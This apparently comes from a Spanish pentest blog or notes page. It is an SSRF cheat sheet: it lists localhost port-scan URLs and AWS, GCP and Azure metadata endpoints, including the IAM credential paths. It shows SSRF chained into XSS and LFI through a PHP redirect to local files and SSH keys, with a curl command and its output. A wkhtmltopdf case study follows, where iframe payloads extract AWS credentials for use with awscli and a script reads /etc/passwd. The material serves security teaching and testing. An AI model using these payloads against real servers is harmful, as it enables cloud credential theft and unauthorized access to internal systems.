Server-Side Request Forgery (SSRF)
Definición
Un SSRF (Server-Side Request Forgery) es una vulnerabilidad que permite a un atacante hacer que un servidor realice solicitudes no autorizadas, tanto a recursos internos como externos. Por ejemplo, si una aplicación permite al usuario enviar una URL, un atacante podría manipularla para acceder a servicios internos o recursos protegidos del servidor.
Impacto:
Enumeración de puertos: Probar puertos abiertos en servicios internos del servidor o la red (ej. localhost:80, localhost:443, etc.).
Acceso a recursos internos: Acceder a servicios internos que no están expuestos externamente, como bases de datos, APIs internas, o servicios administrativos.
Escaneo de IPs internas: Realizar escaneos de redes internas (por ejemplo, acceder a direcciones IP privadas de la red local).
Acceder a metadatos de la nube: Si el servidor está en la nube, puede permitirle al atacante acceder a los metadatos del servidor, que pueden contener información sensible (como credenciales).
Ejecutar comandos maliciosos: En algunos casos, el SSRF puede ser utilizado para inyectar comandos maliciosos y ejecutar acciones no autorizadas en el servidor.
Enumeración de puertos
Usando
localhost
http://localhost:80 http://localhost:22 https://localhost:443
Usando
127.0.0.1
http://127.0.0.1:80 http://127.0.0.1:22 https://127.0.0.1:443
Usando
0.0.0.0
http://0.0.0.0:80 http://0.0.0.0:22 https://0.0.0.0:443
Cloud metadata
AWS
http://169.254.169.254/latest/user-data/iam/security-credentials/ > return the ROLE-NAME, extract & reuse it on the next request
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE-NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/ > return the ROLE-NAME, extract & reuse it on the next request
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
http://169.254.169.254/latest/meta-data
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.170.2/v2/credentials/[UID]
GCP
Info: https://cloud.google.com/compute/docs/metadata
Requiere el header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
Azure
Info: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
Requiere el header "Metadata: true"
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
Combinación SSRF + XSS
Cuando el SSRF no tiene ningún impacto crítico, la red está segmentada y no se puede acceder a otras máquinas y no permite extraer archivos del servidor, podemos intentar actualizar el SSRF a un XSS, incluyendo un archivo SVG que contenga código Javascript.
https://vulnerableserver.com/ssrf.php?url=http://razortest.com/poc.svg
Combinación SSRF + LFI
Crear un archivo php:
<?php
header('Location: file:///Windows/win.ini');
?>
Levantar un server en php:
php -S 0.0.0.0:80
Lanzamos un curl donde en el body agregamos la url a nuestro servidor:
curl -i -s -k -X POST --data-binary 'url=192.168.45.213%2Findex.php' 'http://192.168.209.177/Process.php'
HTTP Response:
HTTP/1.1 302 Found
Date: Thu, 09 May 2024 23:28:01 GMT
Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Location: /pdfs/2251732e06fddc00474e3f6ccd514164.pdf
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Luego visitamos la siguiente URL del PDF donde podemos ver a nuestro win.ini:
http://192.168.209.177/pdfs/2251732e06fddc00474e3f6ccd514164.pdf
Otros payloads:
<?php
header('Location: file:///home/r4z0r/.ssh/id_rsa');
?>
Aquí ya queda sobre nuestra creatividad que archivo queremos leer internamente, como un /etc/passwd o ir por otros archivos.
Wkhtmltopdf - Pentest - Caso Real (SSRF + LFI)
Disclaimer: Los casos y ejemplos mostrados en esta sección del blog forman parte de auditorías y evaluaciones de seguridad realizadas en el contexto de proyectos profesionales con Hackmetrix. No se divulga información sensible, interna o específica de ningún cliente, y se ha tenido especial cuidado en proteger su confidencialidad. Además, cualquier vulnerabilidad mencionada o ilustrada en estos ejemplos ya ha sido corregida de manera responsable, siguiendo los procesos adecuados de remediación y comunicación con los respectivos equipos. Este contenido es compartido únicamente con fines educativos y de mejora continua en prácticas de seguridad.
Wkhtmltopdf es una librería que permite crear archivos HTML a PDF. El problema que esta está discontinua, es decir ya no la dan más soporte por lo que las vulnerabilidades aún siguen presentes.
En su última versión (0.12.6) se mantiene vulnerable a Server-Side Request Forgery (SSRF).
En versiones previas, por ejemplo la 0.12.5 son vulnerables a SSRF y LFI.

Pasemos al caso real, donde nos topamos con la versión 0.12.5:
A través de exiftool analizo el PDF que generaba la plataforma:

En la petición donde se generaba el pdf, viajaba un campo HTML, donde podíamos insertar código HTML.

Al descargar el archivo PDF generado vemos el iframe que realizó una solicitud a mi Burp Collaborator confirmando el SSRF:

Luego intentamos obtener información de la metadata de la instancia de AWS:
// Ruta para consultar la metadata de la instancia
http://169.254.169.254/latest/meta-data
// Payload completo
<iframe src=http://169.254.169.254/latest/meta-data/ width=500 height=500>
// Payload final
<iframe src=http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE-NAME}
Por último, nos traemos la información necesaria para autenticarnos a AWS:

Finalmente nos autenticamos con awscli. El archivo de configuración se encuentra en `~/.aws/credentials` y debería tener el siguiente formato:
[default]
aws_access_key_id = YOUR_ACCESS_KEY_ID
aws_secret_access_key = YOUR_SECRET_ACCESS_KEY
aws_session_token = TOKEN # esta es la que agregaremos
Recordar que es una credencial temporal, y debemos agregar el token de sesión.
De aquí ya empieza la enumeración de AWS que ya es otra historia. Pero la cosa no termina aquí, esta librería también era vulnerable a LFI:
// Payload LFI
<!DOCTYPE html><head><meta http-equiv='Content-Type' content='text/html; charset=UTF-8'><body><script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)}; x.open('GET','file:///etc/passwd');x.send();</script></body>"}

Recursos
Última actualización